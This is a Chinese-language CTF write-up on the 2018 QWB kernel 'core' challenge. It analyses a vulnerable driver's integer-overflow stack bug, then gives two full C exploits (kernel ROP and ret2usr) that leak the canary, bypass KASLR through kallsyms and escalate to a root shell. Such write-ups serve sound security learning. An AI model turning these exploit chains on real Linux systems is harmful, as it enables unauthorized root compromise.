本文记录我学习kernel pwn的过程,着重分析kernel pwn中栈相关的漏洞利用
这里以强网杯2018的一道题目为例展开分析
2018年强网杯core
与用户态的pwn题给一个二进制文件进行漏洞分析并攻击远程服务器不同,内核态的pwn题是给选手一个虚拟的文件系统,主要是分析驱动文件中存在的漏洞,最终目的是将用户提权值root权限,所以内核态的exp也是用c语言编写。
题目文件
start.sh 开启环境的脚本
vmlinux 未经压缩的内核
bzImage 压缩过的内核
core.cpio 压缩后的文件映像
解包:
mkdir core
mv core.cpio ./core/core.cpio.gz
cd core
gunzip core.cpio.gz
cpio -idmv < core.cpio
打包:
./gen_cpio.sh core.cpio
mv core.cpio ../core.cpio
驱动分析
init_module
创建一个虚拟文件
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);// create vitrul file core
printk(&unk_2DE);
return 0LL;
}
core_write
signed __int64 __fastcall core_write(__int64 fd, __int64 buf, unsigned __int64 n)
{
unsigned __int64 v3; // rbx
v3 = n;
printk(&unk_215);
if ( v3 <= 0x800 && !copy_from_user(&name, buf, v3) )
return v3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}
往全局变量name中写入数据
core_read
unsigned __int64 __fastcall core_read(__int64 fd)
{
__int64 v1; // rbx
__int64 *v2; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v5; // [rsp+0h] [rbp-50h]
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v1 = fd;
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = &v5;
for ( i = 16LL; i; --i )
{
*v2 = 0;
v2 = (v2 + 4);
}
strcpy(&v5, "Welcome to the QWB CTF challenge.
");
result = copy_to_user(v1, &v5 + off, 0x40LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
从&v5(rbp-0x50)+off处读取0x40字节的数据到 v1(fd) => leak canary
core_copy_function
signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
signed __int64 result; // rax
__int64 v2; // [rsp+0h] [rbp-50h]
unsigned __int64 v3; // [rsp+40h] [rbp-10h]
v3 = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&byte_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v2, &name, (unsigned __int16)a1); // 存在整数溢出,溢出a1的值即可造成栈溢出
}
return result;
}
从name复制内存到v2,v2在栈上,配合整数溢出即可进行rop。
core_iotcl
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // rbx
v3 = a3;
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = v3;
break;
case 0x6677889A:
printk(&byte_2B3);
core_copy_func(v3);
break;
}
return 0LL;
}
通过不同命令执行core_read set_off core_copy_func
程序调试
本地qemu挂起,gdb接上端口调试
target remote:1234
获取core.ko的装载地址
cat /sys/module/core/sections/.text > /tmp/core.text
驱动加载基地址
add-symbol-file core.ko addr #addr为core.ko的装载地址
加载vmlinux的符号表
file ./vmlinux
在未开启kaslr时,vmlinux的基地址是固定的。本题开了kaslr,所以需要将leak kaslr的偏移
vmlinux base = 0xffffffff81000000 #未开启kaslr时
设置off的值
将断点打在core_read+105
.text:00000000000000CC call _copy_to_user
pwndbg> stack 20
00:0000│ rax rsi rsp 0xffffbcb3c00d3e18 ◂— push rdi /* 0x20656d6f636c6557; 'Welcome to the QWB CTF challenge.
' */
01:0008│ 0xffffbcb3c00d3e20 ◂— je 0xffffbcb3c00d3e91 /* 0x5120656874206f74; 'to the QWB CTF challenge.
' */
02:0010│ 0xffffbcb3c00d3e28 ◂— push rdi /* 0x6320465443204257; 'WB CTF challenge.
' */
03:0018│ 0xffffbcb3c00d3e30 ◂— push 0x656c6c61 /* 0x65676e656c6c6168; 'hallenge.
' */
04:0020│ 0xffffbcb3c00d3e38 ◂— 0xa2e /* '.
' */
05:0028│ 0xffffbcb3c00d3e40 ◂— 0
... ↓
08:0040│ 0xffffbcb3c00d3e58 ◂— add dh, al /* 0x402ff60dad7dc600 */ #cancary
09:0048│ 0xffffbcb3c00d3e60 —▸ 0x1125dd0 ◂— 0
0a:0050│ 0xffffbcb3c00d3e68 —▸ 0xffffffffc001319b (core_ioctl+60) ◂— jmp 0xffffffffc00131b5
0b:0058│ 0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */
0c:0060│ 0xffffbcb3c00d3e78 —▸ 0xffffffffac3dd6d1 ◂— mov rdi, rbx
0d:0068│ 0xffffbcb3c00d3e80 ◂— wait /* 0x889b */
0e:0070│ 0xffffbcb3c00d3e88 —▸ 0xffffa31747aea900 ◂— 0
0f:0078│ 0xffffbcb3c00d3e90 —▸ 0xffffffffac38ecfa ◂— cmp eax, 0xfffffdfd
10:0080│ 0xffffbcb3c00d3e98 —▸ 0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */
11:0088│ 0xffffbcb3c00d3ea0 ◂— 0
... ↓
13:0098│ 0xffffbcb3c00d3eb0 —▸ 0xffffffffad456968 —▸ 0xffffffffad98af50 ◂— push -0x52ba97 /* 0xffffffffad456968 */
通过调试可以发现,rsp+0x40处储存了canary的值
通过查看rsi寄存器的值确定偏移
所以将off设置为0x40即可leak canary的值
ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40
char *buf = (char *)malloc(0x40); // buffer of leak data
ioctl(fd, INS_READ, buf); // leak canary in kernel-stack
canary = *(size_t *)buf;
kernel rop
获取内核函数地址以及kaslr偏移
在kallsyms中存储了内核函数的地址,可以读取去获取内核态函数的地址,同时计算出kaslr的偏移
void leak_addr_of_kernel(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while(fgets(buf, 0x50, kallsyms)){
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[*] prepare_kernel_cred : 0x%lx
", prepare_kernel_cred);
}
if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[*] commit_creds : 0x%lx
", commit_creds);
offest = commit_creds - 0xffffffff8109c8e0;
vmlinux_base = 0xffffffff81000000 + offest;
printf("[*] offset : 0x%lx
", offest);
printf("[*] vmlinux base : 0x%lx
", vmlinux_base);
}
}
}
构造ROP链
rop链构造 执行commit_creds(prepare_kernel_cred(0)) 然后返回用户态开一个shell
for(i=0; i<10; i++){
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offest; // pop rdi ; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offest; // pop rdx ; ret
rop[i++] = commit_creds;
rop[i++] = 0xffffffff8106a6d2 + offest; // mov rdi, rax ; jmp rdx
rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret;
rop[i++] = (size_t)get_shell; // rip
rop[i++] = usr_cs;
rop[i++] = usr_rflags;
rop[i++] = usr_rsp;
rop[i++] = usr_ss;
Expliot:
//gcc -static -masm=intel -g -o rop rop.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define SET_OFF 0x6677889C
#define READ 0x6677889B
#define COPY_FUNC 0x6677889A
void leak_addr_of_kernel();
void get_usr_regs();
void get_shell();
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t offest; // offset of kaslr
size_t vmlinux_base; // vmlinux base address
size_t rop[100] = {0}; // payload
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode
int main(){
get_usr_regs();
leak_addr_of_kernel();
int fd = open("/proc/core", O_RDWR);
if(fd < 0){
puts("[!] fail to open file [!]");
exit(0);
}
ioctl(fd, SET_OFF, 0x40); // set off to 0x40
char *buf = (char *)malloc(0x40); // buffer of leak data
ioctl(fd, READ, buf); // leak canary in kernel-stack
canary = *(size_t *)buf;
printf("[*] canary : 0x%lx
", canary);
int i;
for(i=0; i<10; i++){
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offest; // pop rdi ; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offest; // pop rdx ; ret
rop[i++] = commit_creds;
rop[i++] = 0xffffffff8106a6d2 + offest; // mov rdi, rax ; jmp rdx
rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = usr_cs;
rop[i++] = usr_rflags;
rop[i++] = usr_rsp;
rop[i++] = usr_ss;
write(fd, rop, 8*25);
ioctl(fd, COPY_FUNC, 0xf000000000000000+25*8);
}
/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
void leak_addr_of_kernel(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while(fgets(buf, 0x50, kallsyms)){
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[*] prepare_kernel_cred : 0x%lx
", prepare_kernel_cred);
}
if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[*] commit_creds : 0x%lx
", commit_creds);
offest = commit_creds - 0xffffffff8109c8e0;
vmlinux_base = 0xffffffff81000000 + offest;
printf("[*] offset : 0x%lx
", offest);
printf("[*] vmlinux base : 0x%lx
", vmlinux_base);
}
}
}
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[*] save regs of user mode, done !!!
");
}
void get_shell(){
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[!] get_shell failed");
}
exit(0);
}
ret2usr
由于本题没有开smep保护,既可以在内核态执行用户空间的代码
可以把commit_creds(prepare_kernel_cred(0))写成一个函数直接在rop中执行
void privilege_escalation(){
if(commit_creds && prepare_kernel_cred){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}
}
在rop链上的构造与rop有所不同
for(i=0; i<10; i++){
rop[i] = canary;
}
rop[i++] = (size_t)privilege_escalation;
rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret;
rop[i++] = (size_t)shell; // rip
rop[i++] = usr_cs; // cs
rop[i++] = usr_rflags; // rflags
rop[i++] = usr_rsp; // rsp
rop[i++] = usr_ss; // ss
Expliot:
/* compile
gcc -static -masm=intel -g -o exp exp.c */
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define SET_OFF 0x6677889C
#define READ 0x6677889B
#define COPY_FUNC 0x6677889A
void leak_addr_of_kernel();
void get_usr_regs();
void privilege_escalation();
void get_shell();
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t offest; // offset of kaslr
size_t vmlinux_base; // vmlinux base address
size_t rop[100] = {0}; // payload
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode
int main(){
get_usr_regs();
leak_addr_of_kernel();
int fd = open("/proc/core", O_RDWR);
if(fd < 0){
puts("[!] fail to open file [!]");
exit(0);
}
ioctl(fd, SET_OFF, 0x40); // set off to 0x40
char *buf = (char *)malloc(0x40); // buffer of leak data
ioctl(fd, READ, buf); // leak canary in kernel-stack
canary = *(size_t *)buf;
printf("[*] canary : 0x%lx
", canary);
int i;
for(i=0; i<10; i++){
rop[i] = canary;
}
rop[i++] = (size_t)privilege_escalation;
rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret;
rop[i++] = (size_t)get_shell; // rip
rop[i++] = usr_cs; // cs
rop[i++] = usr_rflags; // rflags
rop[i++] = usr_rsp; // rsp
rop[i++] = usr_ss; // ss
write(fd, rop, 8*25);
ioctl(fd, COPY_FUNC, 0xf000000000000000+25*8);
}
void leak_addr_of_kernel(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while(fgets(buf, 0x50, kallsyms)){
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[*] prepare_kernel_cred : 0x%lx
", prepare_kernel_cred);
}
if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[*] commit_creds : 0x%lx
", commit_creds);
offest = commit_creds - 0xffffffff8109c8e0;
vmlinux_base = 0xffffffff81000000 + offest;
printf("[*] offset : 0x%lx
", offest);
printf("[*] vmlinux base : 0x%lx
", vmlinux_base);
}
}
}
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[*] save regs of user mode, done !!!
");
}
void privilege_escalation(){
if(commit_creds && prepare_kernel_cred){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}
}
void get_shell(){
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[!] get_shell failed");
}
exit(0);
}